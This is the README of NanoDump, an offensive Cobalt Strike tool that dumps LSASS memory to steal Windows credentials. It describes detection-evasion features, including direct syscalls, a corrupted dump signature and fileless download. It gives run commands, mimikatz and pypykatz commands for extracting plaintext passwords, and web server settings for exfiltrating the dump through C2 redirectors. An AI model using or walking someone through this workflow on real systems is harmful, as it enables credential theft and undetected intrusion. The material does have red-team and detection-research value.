NanoDump

A Beacon Object File that creates a minidump of the LSASS process.

Features

It uses syscalls (with SysWhispers2) for most operations
You can choose to download the dump without touching disk or write it to a file
The minidump by default has an invalid signature to avoid detection
It reduces the size of the dump by ignoring irrelevant DLLs. The (nano)dump tends to be arround 10 MB in size
You don't need to provide the PID of LSASS
No calls to dbghelp or any other library are made, all the dump logic is implemented in nanodump
You can use the .exe version to run nanodump outside of Cobalt Strike 😄

Usage

Clone

git clone https://github.com/helpsystems/nanodump.git

Compile (optional)

cd nanodump
make

Import

Import the NanoDump.cna script on Cobalt Strike.

Run

Run the nanodump command.

beacon> nanodump

Restore the signature

Once you downloaded the minidump, restore the invalid signature

bash restore_signature.sh <dumpfile>

get the secretz

mimikatz

To get the secrets simply run:

mimikatz # sekurlsa::minidump <dumpfile>
mimikatz # sekurlsa::logonPasswords full

pypykatz

If you prefer to stay on linux, you can use the python3 port of mimikatz called pypykatz.

python3 -m pypykatz lsa minidump <dumpfie>

Parameters

--pid -p < PID > (optional)

PID of lsass. If not entered, nanodump will find it dynamically.

--write -w < path > (optional)

Where to write the dumpfile. If this parameter is not provided, the dump will be downloaded in a fileless manner.

--valid -v (optional)

If entered, the minidump will have a valid signature.
If not entered, before analyzing the dump restore the signature of the dump, with: bash restore_signature.sh <dumpfile>

HTTPS redirectors

If you are using an HTTPS redirector (as you should), you might run into issues due to the size of the requests that leak the dump.
Increase the max size of requests on your web server to allow nanodump to download the dump.

NGINX

location ~ ^...$ {
    ...
    client_max_body_size 50M;
}

Apache2

<Directory "...">
    LimitRequestBody  52428800
</Directory>

Credits

skelsec for writing minidump, which was crucial for learning the minidump file format.
freefirex from CS-Situational-Awareness-BOF at Trustedsec for many cool tricks for BOFs
Jackson_T for SysWhispers2

johnjohnsp1/nanodump